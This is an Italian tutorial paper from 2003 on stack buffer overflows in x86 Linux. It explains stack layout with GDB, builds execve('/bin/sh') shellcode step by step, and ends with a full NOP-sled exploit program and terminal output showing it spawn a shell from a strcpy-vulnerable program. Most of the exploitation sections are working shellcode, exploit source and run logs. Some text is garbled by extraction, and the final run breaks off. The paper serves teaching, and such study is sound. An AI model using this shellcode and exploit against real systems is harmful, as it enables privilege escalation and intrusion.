Buffer Overflows

Transcript

Buffer Overflows
Buffer Overflows
Eduard ’MasterˆShadow’ Roccatello
22 giugno 2003
1
Buffer Overflows
INDICE
Indice
1 Introduzione
1.1 Informazioni sull’autore . . . . . . . . . . . . . . . . . . . . . .
1.2 Informazioni sul paper . . . . . . . . . . . . . . . . . . . . . . .
3
3
3
2 Definizione di stack
4
3 Gestione della memoria
4
4 Analisi dello stack di un processo
5
5 Violazione dello stack
8
6 Shellcode e loro generazione
10
7 Sfruttare la vulnerabilità
19
2
Buffer Overflows
1
1 INTRODUZIONE
Introduzione
Una delle vulnerabilità più diffuse nei programmi è sicuramente il buffer overflow,
che detiene il primato insieme a format string bug.
Usata da tempo dagli hacker per verificare la sicurezza dei sistemi informatici,
è stata illustrata pubblicamente da AlephOne nel numero 49 della famosissima
rivista elettronica underground Phrack (raggiungibile all’indirizzo
http://www.phrack.org).
Consiste essenzialmente nell’esecuzione arbitraria di codice malizioso e sfrutta
il mancato controllo delle dimensioni delle zone di memoria (buffer) sulle quali
verranno scritte le variabili del programma.
1.1
Informazioni sull’autore
Eduard Roccatello studia Ingegneria Informatica all’Università di Padova ed è
membro fondatore di RoLUG (http://rovigo.linux.it).
Si occupa di programmazione e di amministrazione di rete con un occhio di
riguardo alle problematiche di sicurezza su sistemi GNU/Linux e *BSD.
1.2
Informazioni sul paper
Questo paper è stato realizzato in LATEX e distribuito in vari formati.
Nel caso si desideri avere una copia nel formato di realizzazione, contattare l’autore all’indirizzo email [email protected].
Questo paper può essere liberamente distribuito e modificato, a patto di riportarne i credits.
3
Buffer Overflows
2
3 GESTIONE DELLA MEMORIA
Definizione di stack
Lo stack è una struttura dati astratta (ADT) molto utilizzata nelle archittetture
informatiche odierne.
Per struttura dati astratta si intende un modello di struttura in grado di immagazzinare i dati e di compiere operazioni sui dati inseriti. Uno stack può essere
rappresentato come una pila di oggetti, vincolata dal fatto che la rimozione e
l’aggiunta degli elementi può essere fatta solo in cima. Si può parlare quindi di
una struttura LIFO (Last In First Out), dove l’ultimo elemento ad entrare nello
stack è anche il primo ad uscire.
I metodi principali definibili di uno stack sono 3: PUSH, POP e TOP (dove per
metodo si intende una funzione eseguibile dallo stack).
PUSH è il metodo standard per l’aggiunta degli oggetti allo stack, POP serve a
leggere ed a togliere l’elemento in cima allo stack mentre TOP esegue solamente
la lettura dell’oggetto più in alto nella pila senza levarlo dalla stessa. Le prestazioni di uno stack sono ottimali; ogni operazione effettuabile ha prestazioni
asintotiche O(1), cioè il numero di elementi contenuti non influenza minimamente le prestazioni ottenibili, che dipendono invece dal tipo di implementazione
effettuato dagli sviluppatori.
La creazione di una struttura dati come lo stack deriva dalla necessità di avere un’architettura più consona possibile ai linguaggi di programmazione ad alto
livello (molto più simili al linguaggio parlato che al linguaggio adottato dalla
macchina). Non è difficile trovare implementazioni di stack nelle moderne apparecchiature. Lo stack si presta infatti agevolmente al passaggio degli argomenti
di una funzione e all’archiviazione di dati sequenziali LIFO come la sospensione
dei metodi in un programma ed è la struttura utilizzata dalle archittetture i386
per la gestione delle variabili in memoria durante l’esecuzione di un programma.
3
Gestione della memoria
Per rendersi conto di come funzioni l’exploit della vulnerabilità generata dai buffer overflow bisogna aver chiaro come i processi vengano allocati nella memoria.
Ogni processo attivo possiede tre regioni di memoria con caratteristiche differenti, generalmente individuate con i nomi Text, Data e Stack. La regione Text
è fissata dal programma e contiene istruzioni e dati raggiungibili in modalità di
sola lettura. Un eventuale accesso in scrittura a questa zona produce un errore
irreversibile che termina il programma. La regione Data contiene dati inizializzati, dati non inizializzati e indirizza anche le variabili statiche, imagazzinate in
questa regione di memoria.
La dimensione di questa regione di memoria può essere modificata da una chia4
Buffer Overflows
4 ANALISI DELLO STACK DI UN PROCESSO
mata di sistema particolare e nel caso venga esaurito lo spazio di memoria allocata
per il processo, questo viene reimpostato dallo scheduler con una dimensione di
memoria più grande della precendente. Questa zona di memoria viene comunemente chiamata come zona DATA-BSS di un file eseguibile.
La terza regione di memoria allocata per ogni processo è lo stack dove vengono
memorizzate le variabili non statiche del programma ed è l’oggetto della vulnerabilità trattata in questo capitolo.
Indirizzi
di basso
livello
TEXT
DATA
Indirizzi
di alto
livello
STACK
4
Analisi dello stack di un processo
Abbiamo visto che ogni processo genera tre regioni di memoria, una delle quali
è lo stack. Ma cos’è contenuto esattamente nello stack?
Si tratta di una zona di memoria creata dinamicamente all’avvio del processo e
viene modificata durante dell’esecuzione del programma.
Per capire meglio com’è strutturato lo stack di un processo, è bene introdurne
uno che, seppur molto semplice, permette una schematizzazione chiara della zona
di memoria Stack:
// Start: code.c
void funzione(int i)
{
char buffer[64];
}
int main(void)
{
funzione(15);
}
// End: code.c
5
Buffer Overflows
4 ANALISI DELLO STACK DI UN PROCESSO
Salviamo questa piccola porzione di codice in un file (che io chiamerò code.c) e
compiliamo con gcc -o code code.c.
Eseguendo il programma in questione ci accorgeremo che il programma non invia
nulla allo standard output.
Proviamo ad analizzarlo in profondità con GDB per capire cosa fa questa piccola
porzione di codice:
eddy@alphabase:/rsg$ gdb code
GNU gdb 5.2
This GDB was configured as i386-slackware-linux...
(gdb) disassemble main
Dump of assembler code for function main:
0x80483c8 hmaini :
push %ebp
0x80483c9 hmain + 1i : mov %esp,%ebp
0x80483cb hmain + 3i : sub $0x8,%esp
0x80483ce hmain + 6i : add $0xfffffff4,%esp
0x80483d1 hmain + 9i : push $0xf
0x80483d3 hmain + 11i : call 0x80483c0 hf unzionei
0x80483d8 hmain + 16i : add $0x10,%esp
0x80483db hmain + 19i : leave
0x80483dc hmain + 20i : ret
0x80483dd hmain + 21i : nop
0x80483de hmain + 22i : nop
0x80483df hmain + 23i : nop
End of assembler dump.
Il programma in questione, come prima cosa, salva il frame pointer nello stack e
imposta come nuovo frame pointer, lo stack pointer.
Nel frame pointer è contenuto l’indirizzo di memoria della funzione appena eseguita dal microprocessore.
Vengono successivamente sottratti 8 bytes dallo stack pointer per creare lo stack
frame privato della funzione. All’indirizzo 0x80481d1 (¡main+9¿) inizia la chiamata alla funzione.
Le funzioni vengono chiamate dai programmi tramite l’inserimento (push) degli
argomenti nello stack, in ordine inverso (dall’ultimo al primo), e tramite la funzione call indirizzo.
In questo caso viene fatto il push di 0xf (15 in decimale) nello stack e poi viene
chiamata la funzione all’indirizzo 0x80483c0.
Al ritorno della funzione viene aggiunto il valore esadecimale 10 allo stack pointer
facendo avanzare il puntatore e viene eseguita l’istruzione leave.
6
Buffer Overflows
4 ANALISI DELLO STACK DI UN PROCESSO
Entriamo nel profondo della funzione funzione e vediamo come vengono allocate
le variabili di un programma, probabilmente la parte più interessante di un programma :-)
(gdb) disassemble funzione
Dump of assembler code for
0x80481c0 hf unzionei :
0x80481c1 hf unzione + 1i :
0x80481c3 hf unzione + 3i :
0x80481c6 hf unzione + 6i :
0x80481c7 hf unzione + 7i :
End of assembler dump.
function funzione:
push %ebp
mov %esp,%ebp
sub $0x48,%esp
leave
ret
Dopo aver eseguito l’istruzione call, la routine main viene sospesa e il controllo
passa alla routine funzione.
Viene salvato il frame pointer nullo stack e viene copiato il valore dello stesso
nello stack pointer.
Immediatamente dopo avviene l’allocazione delle variabili, in questo caso un array (successione) di 64 char.
I computer basati su architettura Intel considerano gli array di char come serie
di caratteri terminata da un carattere nullo (0x0 in esadecimale).
Per allocare una variabile il sistema sposta lo stack pointer di tanti bytes quanti
occorrono al programma cioè della dimensione delle variabili riferita alle dword
occupate. La parola binaria più piccola considerata nei sistemi Intel è di 4 bytes,
per cui la dimensione delle variabili sarà riferita a 4 bytes. Ad esempio se ho un
array di 5 char il sistema allocherà 8 bytes, corrispondenti a 2 dword.
Molto probabilmente avrete già fatto i conti e come credo vi sembrerà strano
che al posto di 0x40 troviate 0x48. Teoricamente il compilatore dovrebbe allocare esattamente la dimensione di tutte le variabili dichiarate nella funzione ma,
generalmente, viene allocata più memoria del necessario per contenere eventuali
overflow (fuoriuscite).
Ora che abbiamo capito come funzionano le chiamate alle funzioni possiamo
schematizzare lo stack del nostro programma in questo modo:
[--buffer--][--stack pointer--][--instruction pointer--][--i--]
Cima dello stack
Fondo dello stack
Riassumendo, sul fondo dello stack troviamo gli argomenti passati alla funzione,
poi troviamo l’istruction pointer (detto anche RET) e lo stack pointer. Sulla
cima dello stack possiamo trovare la locazione fisica delle variabili elaborate dal
nostro programma (in questo caso solo buffer).
7
Buffer Overflows
5
5 VIOLAZIONE DELLO STACK
Violazione dello stack
Ipotizziamo che una funzione non controlli le dimensioni dell’input e continui a
scrivere sullo stack oltre i limiti delle variabili: cosa accade?
Il sistema risponde con una violazione della segmentazione della memoria e termina il processo. Un buffer overflow è quindi il risultato di inserire in un buffer
più dati di quelli che può gestire e offre la possibilità di gestire arbitrariamente
gli indirizzi di ritorno di una funzione.
Introduciamo un nuovo frammento di codice per approfondire la questione:
// Start code2.c
#include <string.h>
void funzione(char *stringa)
{
char buffer[16];
strcpy(buffer, stringa);
}
int main(void)
{
char stringa grande[256];
int i = 0;
for (i; i < 255; i++)
stringa grande[i] = ’A’;
funzione(stringa grande);
}
// End code2.c
Se si compila questo codice e lo si esegue apparirà un inquietante messaggio
Segmentation Fault, errore di segmentazione. Cos’è successo?
Inizializzato un array di 256 char, il programma riempie con la lettera A (0x41
in esadecimale) ogni posizione dello stesso e chiama la routine funzione con il
parametro stringa grande (corrispondente all’array di char).
Funzione inizializza un buffer di 16 char ed effettua la chiamata di sistema strcpy con i parametri buffer e stringa (che corrisponde all’argomento passato alla
funzione). Non effettuando nessun controllo la chiamata strcpy sovrascrive la
memoria del processo fino a che non trova una carattere nullo e, ovviamente,
viola la segmentazione della memoria.
8
Buffer Overflows
5 VIOLAZIONE DELLO STACK
Avviamo gdb e analizziamo l’esecuzione del programma:
eddy@alphabase:/rsg$ gdb code2
GNU gdb 5.2
Copyright 2002 Free Software Foundation, Inc.
This GDB was configured as i386-slackware-linux...
(gdb) run
Starting program: /home/eddy/rsg/code2
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Com’era possibile immaginare lo stack è stato sovrascritto e l’indirizzo di ritorno (instruction pointer o RET) corrisponde a 0x41414141 ovvero a AAAA.
Schematizzando lo stack troveremo:
[AAAAAAAAAAAAAAAAAAAAAA][AAAA][AAAA][AAAA]
Buffer
EBP
RET
*str
Tutta la memoria del processo è stata sovrascritta con il contenuto dell’array
stringa grande.
Continuiamo il debugging dell’eseguibile code2 analizzando i registri dopo l’invio
del segnale SIGSEGV (11) da parte del sistema:
(gdb) info registers
eax 0xbffff5ec -1073744404
ecx 0xffffffbf -65
edx 0xbffff736 -1073744074
ebx 0xbffff79c -1073743972
esp 0xbffff604 0xbffff604
ebp 0x41414141 0x41414141
esi 0xbffff794 -1073743980
edi 0x1 1
eip 0x41414141 0x41414141
...
I registri che interessano a noi sono EBP e EIP, frame pointer e instruction
pointer, cioè i registri che nello schema dello stack (in alto) sono esattamente
dopo la zona di memoria della variabile buffer.
Entrambi i registri sono stati sovrascritti con il contenuto di stringa grande ed è
9
Buffer Overflows
6 SHELLCODE E LORO GENERAZIONE
possibile notare che il passo tra l’errore di programmazione e la vulnerabilità è
molto breve: tutto sta nel modificare EIP a nostro piacimento!
6
Shellcode e loro generazione
Come abbiamo appena visto è possibile sfruttare la vulnerabilità dovuta ai buffer
overflow tramite la modifica del punto di ritorno di una funzione ma dove dobbiamo far puntare questo registro per ottenere l’elevazione dei privilegi? La cosa
migliore da fare è farlo puntare ad una zona di memoria sulla quale abbiamo i
permessi di scrittura e dove c’è abbastanza spazio per scrivere il codice da eseguire, chiamato comunemente shellcode.
Come dice la parola stessa, per shellcode si intende un frammento di codice capace di eseguire una shell. Più precisamente uno shellcode è la conversione in
linguaggio macchina di un programma sorgente (scritto in Assembly o C).
Generalmente il codice sorgente di uno shellcode si può riassumere con:
// Start shcode.c
#include <stdio.h>
void main(void)
{
char *file[2];
file[0] = /bin/sh;
file[1] = NULL;
execve(file[0], file, NULL);
exit(0);
}
// End shcode.c
Compiliamo con gcc -o shcode -static shcode.c e testiamo il nostro codice:
eddy@alphabase:/rsg$ ./shcode
sh-2.05a$ exit
exit
eddy@alphabase:/rsg$
Funziona! Non dimentichiamo il flag -static durante la compilazione altrimenti
non potremo disassemblare le chiamate di sistema, o meglio queste conterranno
solo riferimenti al sistema e non il codice della chiamata stessa.
Questa volte cambiamo metodo di analisi e procediamo con il dump dell’oggetto
creato da gcc tramite il comando objdump.
eddy@alphabase:/rsg$ objdump -d shcode > shellcodedump
10
Buffer Overflows
6 SHELLCODE E LORO GENERAZIONE
Meglio fare una redirezione dell’output verso un file perchè objdump ha emette
tantissimo output (dovuto alla disassemblazione del programma).
Cerchiamo la parte che ci interessa, ovvero la main() e la execve():
080481c0 hmaini :
80481c0:
80481c1:
80481c3:
80481c6:
80481cd:
80481d4:
80481d7:
80481d9:
80481dc:
80481dd:
80481e0:
80481e1:
80481e6:
80481e9:
80481ec:
80481ee:
80481f3:
80481f6:
55
push %ebp
89 e5
mov %esp,%ebp
83 ec 18
sub $0x18,%esp
c7 45 f8 08 c9 08 08 movl $0x808c908,0xfffffff8(%ebp)
c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp)
83 c4 fc
add $0xfffffffc,%esp
6a 00
push $0x0
8d 45 f8
lea 0xfffffff8(%ebp),%eax
50
push %eax
8b 45 f8
mov 0xfffffff8(%ebp),%eax
50
push %eax
e8 2a 3e 00 00
call 804c010 h execvei
83 c4 10
add $0x10,%esp
83 c4 f4
add $0xfffffff4,%esp
6a 00
push $0x0
e8 bd 01 00 00
call 80483b0 hexiti
83 c4 10
add $0x10,%esp
c9
leave
11
Buffer Overflows
0804c010 h execvei :
804c010:
804c011:
804c013:
804c016:
804c017:
804c018:
804c01b:
804c020:
804c022:
804c024:
804c029:
804c02c:
804c02f:
804c030:
804c032:
804c037:
804c039:
804c03a:
804c03c:
804c042:
804c044:
804c049:
804c04b:
804c04d:
804c052:
804c054:
804c055:
804c056:
804c058:
804c059:
6 SHELLCODE E LORO GENERAZIONE
55
89 e5
83 ec 10
57
53
8b 7d 08
b8 00 00 00 00
85 c0
74 05
e8 d7 3f fb f7
8b 4d 0c
8b 55 10
53
89 fb
b8 0b 00 00 00
cd 80
5b
89 c3
81 fb 00 f0 ff ff
76 0e
e8 57 c3 ff ff
f7 db
89 18
bb ff ff ff ff
89 d8
5b
5f
89 ec
5d
c3
Analizziamo un po’ il comportamento delle due
80481c0: 55
push %ebp
80481c1: 89 e5
mov %esp,%ebp
80481c3: 83 ec 18 sub $0x18,%esp
Inizializzazione della funzione main(), salviamo
stack pointer corrente il nuovo frame pointer e
le variabili locali, che in questo caso sono: char
12
push %ebp
mov %esp,%ebp
sub $0x10,%esp
push %edi
push %ebx
mov 0x8(%ebp),%edi
mov $0x0,%eax
test %eax,%eax
je 804c029 h execve + 0x19i
call 0 h init − 0x80480b4i
mov 0xc(%ebp),%ecx
mov 0x10(%ebp),%edx
push %ebx
mov %edi,%ebx
mov $0xb,%eax
int $0x80
pop %ebx
mov %eax,%ebx
cmp $0xfffff000,%ebx
jbe 804c052 h execve + 0x42i
call 80483a0 h errno locationi
neg %ebx
mov %ebx,(%eax)
mov $0xffffffff,%ebx
mov %ebx,%eax
pop %ebx
pop %edi
mov %ebp,%esp
pop %ebp
ret
chiamate:
il frame pointer, facciamo dello
allochiamo un po’ di spazio per
*file[2];
Buffer Overflows
6 SHELLCODE E LORO GENERAZIONE
80481c6: c7 45 f8 08 c9 08 08 movl $0x808c908,0xfffffff8(%ebp)
80481cd: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp)
Sono rispettivamente le memorizzazioni dei valori nelle variabili: /bin/sh e NULL.
Ora comincia la chiamata vera e propria alla execve() con il push degli argomenti
in ordine inverso:
80481d7: 6a 00 push $0x0
Inserisce NULL nello stack.
80481d9: 8d 45 f8 lea 0xfffffff8(%ebp),%eax
80481dc: 50
push %eax
Carichiamo l’indirizzo di file[] nel registro accumulatore e ne facciamo il push
nello stack.
80481dd: 8b 45 f8
mov 0xfffffff8(%ebp),%eax
80481e0: 50
push %eax
80481e1: e8 2a 3e 00 00 call 804c010 h execvei
Carichiamo l’indirizzo di /bin/sh nell’accumulatore, facciamo il push nello stack
e finalmente chiamiamo execve().
804c010: 55
push %ebp
804c011: 89 e5
mov %esp,%ebp
804c013: 83 ec 10 sub $0x10,%esp
Cominciamo ad analizzare execve() dalle parti salienti ovvero dove esegue esattamente il codice per l’avvio della shell.
804c018: 8b 7d 08 mov 0x8(%ebp),%edi
Muove l’indirizzo di /bin/sh in %edi.
804c029: 8b 4d 0c mov 0xc(%ebp),%ecx
Copia l’indirizzo di file[] in %ecx.
804c02c: 8b 55 10 mov 0x10(%ebp),%edx
Copia l’indirizzo del NULL pointer in %edx.
804c02f: 53
push %ebx
804c030: 89 fb mov %edi,%ebx
Mette l’indirizzo di /bin/sh (salvato in %edi) in %ebx.
13
Buffer Overflows
6 SHELLCODE E LORO GENERAZIONE
804c032: b8 0b 00 00 00 mov $0xb,%eax
Copia 0xb (11 in decimale) nell’accumulatore. 11 è il riferimento di execve nella
tabella delle chiamate di sistema.
804c037: cd 80
Entra in kernel mode.
int $0x80
Ora abbiamo avviato la shell ma cosa succederebbe se la chiamata di sistema execve() fallisse? Molto probabilmente verrebbe generato un dump del core
dell’eseguibile poichè il programma avanzerebbe sullo stack ed incontrebbe dati
random. Noi non vogliamo che esso venga generato quindi provvediamo aggiungendo una chiamata exit() al nostro programma.
eddy@alphabase:/rsg$ cat exit.c
#include <stdlib.h>
int main(void)
{
exit(0);
}
Compiliamo con gcc -o e -static e.c ed analizziamo il dump della chiamata exit().
0804cbb8 h exiti :
804cbb8:
804cbbc:
804cbc1:
804cbc3:
804cbc8:
804cbca:
8b 5c 24 04
b8 fc 00 00 00
cd 80
b8 01 00 00 00
cd 80
f4
mov 0x4(%esp,1),%ebx
mov $0xfc,%eax
int $0x80
mov 0x1,%eax
int $0x80
hlt
La chiamata exit() si preoccupa di mettere il codice di ritorno in %ebx, di settare
il numero di syscall in %eax (in questo caso è 1) e di entrare in kernel mode.
Il codice di ritorno che utilizzeremo noi sarà 0, ovvero quello utilizzato dalla
maggior parte delle applicazioni per dire che tutto è andato a buon fine.
14
Buffer Overflows
6 SHELLCODE E LORO GENERAZIONE
Riassumendo un po’ di cose dobbiamo fare i seguenti passi per generare uno shell
code:
- Avere una stringa contenente /bin/sh da qualche parte in memoria terminata
da un carattere (NULL).
- Avere l’indirizzo della stringa in memoria seguito da una word nulla.
- Copiare 0xb (11 decimale) nel registro accumulatore (EAX).
- Copiare l’indirizzo dell’indirizzo della stringa in EBX.
- Copiare l’indirizzo della stringa in ECX.
- Copiare l’indirizzo della word nulla in EDX.
- Passare al kernel mode eseguendo int 0x80.
- Copiare 0x1 in EAX.
- Copiare 0x0 in EBX.
- Eseguire int 0x80.
Analizzando ancora più a fondo la questione troviamo un problema: noi non
sappiamo dove siamo nello spazio di memoria del programma e conseguentemente non sappiamo dove verrà inserita la stringa /bin/sh.
L’unico metodo possibile è quello di usare la combinazione delle due istruzioni
JMP e CALL per aggirare l’ostacolo.
Fortunatemente queste due istruzioni possono eseguire salti relativi a partire dall’instruction pointer corrente, senza sapere esattamente l’indirizzo di memoria da
puntare.
Se mettiamo una CALL prima della stringa e un JMP verso la stessa chiamata,
l’indirizzo della stringa verrà messo nello stack come indirizzo di ritorno una volta chiamata l’istruzione CALL. Tutto quello di cui abbiamo bisogno è di copiare
l’indirizzo di ritorno in un registro.
Altro problema che potrebbe insorgere nella scrittura di uno shellcode è quello
dovuto al fatto che non possono essere contenuti terminatori (NULL char) nella
stringa che dobbiamo copiare in memoria.
Fortunatamente esistono workaround per questo problema ed il più semplice è
quello di utilizzare istruzioni equivalenti a quelle che possono dare problemi.
int main(void) {
asm (
jmp trick
# salta alla label trick
shcode:
15
Buffer Overflows
6 SHELLCODE E LORO GENERAZIONE
popl %esi
# salva l’indirizzo della stringa in esi
xorl %eax,%eax
# azzera eax
movb %al, 0x7(%esi)
# mette uno 0 alla fine della stringa
movl %esi, 0x8(%esi)
# salva l’indirizzo della stringa alla posizione
# indirizzo stringa + 8. Si ottiene in memoria:
# ‘‘/bin/sh‘‘ ‘‘0‘‘ ‘‘indirizzo prima /‘‘
movl %eax, 0xc(%esi)
# crea il puntatore null alla posizione esi+12
movl %esi, %ebx
# mette l’indirizzo della stringa in ebx
leal 0x8(%esi), %ecx
# mette in ecx l’indirizzo dell’indirizzo della
# stringa, ovvero dell’array file[]
leal 0xc(%esi), %edx
# mette in edx l’indirizzo del puntatore nullo
movb $0x0b, %al
# mette nella parte bassa di eax (al) il codice
# corrispondente alla syscall execve
int $0x80
# entra in kernel mode
xorl %eax,%eax
# azzera eax
incl %eax
# incrementa eax
16
Buffer Overflows
6 SHELLCODE E LORO GENERAZIONE
int $0x80
# entra in kernel mode
trick:
call shcode
# esegue la call a shcode (l’indirizzo di ritorno è
# l’indirizzo della stringa da puntare)
);
}
Compiliamo il tutto e facciamo il dump delle parte interessanti:
eddy@alphabase:/rsg$ gcc -o shc shellcode.c
eddy@alphabase:/rsg$ objdump -d shc
080482f4 hmaini :
80482f4:
80482f5:
80482f7:
80482fa:
80482fd:
8048302:
8048304:
55
push %ebp
89 e5
mov %esp,%ebp
83 ec 08
sub $0x8,%esp
83 e4 f0
and $0xfffffff0,%esp
b8 00 00 00 00 mov $0x0,%eax
29 c4
sub %eax,%esp
eb 1d
jmp 8048323 htricki
08048306 hshcodei :
8048306:
8048307:
8048309:
804830c:
804830f:
8048312:
8048314:
8048317:
804831a:
804831c:
804831e:
8048320:
8048321:
5e
31 c0
88 46 07
89 76 08
89 46 0c
89 f3
8d 4e 08
8d 56 0c
b0 0b
cd 80
31 c0
40
cd 80
pop %esi
xor %eax,%eax
mov %al,0x7(%esi)
mov %esi,0x8(%esi)
mov %eax,0xc(%esi)
mov %esi,%ebx
lea 0x8(%esi),%ecx
lea 0xc(%esi),%edx
mov $0xb,%al
int $0x80
xor %eax,%eax
inc %eax
int $0x80
17
Buffer Overflows
08048323 htricki :
8048323:
8048328:
8048329:
804832a:
804832b:
6 SHELLCODE E LORO GENERAZIONE
e8 de ff ff ff call 8048306 hshcodei
c9
leave
c3
ret
90
nop
90
nop
La parte interessante comincia all’indirizzo 8048304, ovvero al salto verso trick.
Per ottenere uno shellcode valido è necessario trascrivere l’assembly in opcode
ovvero in codici leggibili ed eseguibili dal processore (in codice macchina praticamente).
Per fare questo basta prendere la parte esadecimale fornita da objdump (che ci
salva da eterne consultazioni dei datasheet di Intel :-).
Ne esce una cosa di questo genere:
eb1d5e31c088460789760889460c...
Aggiungiamo la nostra stringa alla fine (/bin/sh) e proviamo se il nostro shellcode è corretto creando un piccolo programmino di test.
// Start here
char shellcode[] =
\xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0
\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh;
int main(void)
{
int *ret;
ret = (int *)ret + 2;
(*ret) = (int)shellcode;
}
// End here
Compiliamo ed eseguiamo il tutto
eddy@alphabase:/rsg$ gcc -o exp exp.c
eddy@alphabase:/rsg$ ./exp
sh-2.05b$ exit
exit
eddy@alphabase:/rsg$
18
Buffer Overflows
7 SFRUTTARE LA VULNERABILITÀ
Funziona tutto alla perfezione e possiamo quindi dedicarci alla scrittura di un
exploit per il nostro programma vulnerabile.
7
Sfruttare la vulnerabilità
Dopo aver creato il nostro shellcode è bene vedere come un programma buggato
apparentemente innocuo può diventare molto pericoloso e permettere di ottenere
una shell utente a persone che non dovrebbero mai averla sul nostro sistema.
Il codice vulnerabile che consideremo in questo esempio è molto semplice e prevede un buffer di 256 caratteri senza controlli in scrittura.
// Start vuln.c
#include string.h
int main (int argv, char **argc)
{
char buf[256];
strcpy(buf, argc[1]);
}
// End vuln.c
Esistono molte tecniche di exploiting per i buffer overflow e in questo caso utilizzeremo la versione più classica, ovvero la versione originaria ideata da Aleph1
e trattata sul numero 49 della rivista Phrack.
Concettualmente è molto semplice: si tratta infatti di preparare un argomento
ad hoc da passare al programma in modo che venga esattamente eseguito quello
di cui abbiamo bisogno.
Utilizzeremo come shellcode quello appena trovato (tanto per far vedere che funziona :-).
19
Buffer Overflows
7 SFRUTTARE LA VULNERABILITÀ
Prima di cominciare vediamo come opereremo nell’overflowing con questo piccolo
esempio:
// Start ov1.c
char shellcode[] =
\xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0
\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh;
char large string[128];
int main (void)
{
char buffer[96];
int i;
long *long ptr = (long *) large string;
for (i = 0; i < 32; i++)
*(long ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large string[i] = shellcode[i];
strcpy(buffer, large string);
}
// End ov1.c
Come prima cosa questo codice provvede a riempire large string con l’indirizzo di
buffer, dove verrà messo il nostro codice. Si provvede successivamente a copiare
lo shellcode nel buffer large string e replicarlo nuovamente nel buffer buffer[64]
causando l’overflow.
eddy@alphabase:/rsg/bof$ gcc -o c ov1.c
eddy@alphabase:/rsg/bof$ ./c
sh-2.05b$ exit
exit
eddy@alphabase:/rsg/bof$
Ottimo, funziona correttamente!
20
Buffer Overflows
7 SFRUTTARE LA VULNERABILITÀ
Per piazzare correttamente il buffer dobbiamo sapere dove viene messo il punto di
ritorno. Semplifichiamoci un po’ la vita modificando ulteriormente il programma
da sfruttare (in fondo questo è un paper didattico e possiamo agevolarci, no? :-).
// Start vuln.c
#include <string.h>
int main (int argv, char **argc)
{
char buf[256];
printf(buffer address: %p, buf);
if (argv > 1)
strcpy(buf,argc[1]);
}
// End vuln.c
Grazie a questa piccola modifica sul codice il nostro programma mostrerà l’indirizzo di memoria dove è posizionato l’inizio dell’array di caratteri e questo ci
permetterà di manipolare più facilmente i vari indirizzi.
Senza questa piccola modifica piazzare il codice sarebbe un operazione lunga e
noiosa, che richiederebbe moltissimi tentativi.
Compiliamo ed eseguiamo il nostro programma vulnerabile:
eddy@alphabase:/rsg/bof$ gcc -o vuln vuln.c
eddy@alphabase:/rsg/bof$ ./vuln ciaociao
buffer address: 0xbffff730
eddy@alphabase:/rsg/bof$
Come potete vedere ora conosciamo la locazione del buffer di questa esecuzione.
Questo indirizzo varia da macchina a macchina ed è quindi improbabile scrivere
una versione universale di codice per exploitare una vulnerabilità (con la stessa
locazione di memoria).
21
Buffer Overflows
7 SFRUTTARE LA VULNERABILITÀ
Prima di scrivere un exploit è bene riassumere le cose che il nostro codice deve
fare:
- Trovare l’indirizzo di ritorno.
- Scrivere l’indirizzo di ritorno nel buffer da copiare in memoria.
- Riempire la prima parte del buffer con NOP (per evitare calcoli non previsti
dalla scaletta :-).
- Scrivere il nostro shellcode dopo la sequenza di NOP
- Eseguire il programma vulnerabile con buffer come argomento.
Ecco il codice opportunamente commentato:
// Start
#include
#include
#include
#include
exploit.c
<stdio.h>
<stdlib.h>
<string.h>
<unistd.h>
#define BUF 280 // 70*4, ricordate di includere il padding
#define NOP 0x90 // Opcode di No Operate
#define RET 0xbffffcd0 // Indirizzo di ritorno
char shellcode[] =/* il nostro shellcode */
\xeb\x1d\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0
\x40\xcd\x80\xe8\xde\xff\xff\xff/bin/sh;
unsigned long get esp() /* Recupera lo stack pointer */
{
asm (movl %esp, %eax);
}
int main (int argc, char *argv[])
{
int ret, i, n;
char *arg[3], buf[BUF];
int *address ptr; /* address pointer */
// Se non viene fornito un offset per lo stack pointer
// provvede a fornire il return address calcolato a mano
// Se viene fornito un offset, ricava l’indirizzo di ritorno
22
Buffer Overflows
//
//
//
//
7 SFRUTTARE LA VULNERABILITÀ
a partire dallo stack pointer. Se l’indirizzo di ritorno
preimpostato non dovesse funzionare, provare offset
tali da riportare il punto di ritorno intorno all’indirizzo
del buffer (accetta anche segni negativi).
if (argc < 2)
ret = RET;
else
ret = get esp() - atoi(argv[1]);
printf(Indirizzo RET: 0x%X, ret);
// salva l’indirizzo del buffer
address ptr = (int *)(buf);
// mette l’indirizzo di ritorno in tutto il buffer
for (i = 0; i < BUF; i += 4)
*address ptr++ = ret;
// riempie la prima metà del buffer con NOP
for (i = 0; i < BUF / 2; i++)
buf[i] = NOP;
// copia lo shellcode immediatamente dopo i NOP
for (n = 0; n < strlen(shellcode); n++)
buf[i++] = shellcode[n];
// prepara l’array per la chiamata di sistema execve
// esegue il programma con il nostro argomento.
arg[0] = ./vuln;
arg[1] = buf;
arg[2] = NULL;
execve(arg[0], arg, NULL);
exit(1);
}
// End exploit.c
Compiliamo e proviamo ad eseguire:
eddy@alphabase:/rsg/bof$ gcc -o exploit ex.c
23
Buffer Overflows
7 SFRUTTARE LA VULNERABILITÀ
eddy@alphabase:/rsg/bof$ ./exploit
Using ret: 0xBFFFFCD0
buffer address: 0xbffffcd0
sh-2.05b$ exit
exit
eddy@alphabase:/rsg/bof$
Come volevamo dimostrare da un programma apparentemente innocuo è stato possibile ricavare una shell perfettamente funzionante.
Nel caso il punto di ritorno non funzionasse proviamo a cercane uno noi manualmente:
eddy@alphabase:/rsg/bof$ ./exploit -100
Using ret: 0xBFFFF73C
buffer address: 0xbffffcd0
Illegal instruction
eddy@alphabase:/rsg/bof$ ./exploit -200
Using ret: 0xBFFFF7A0
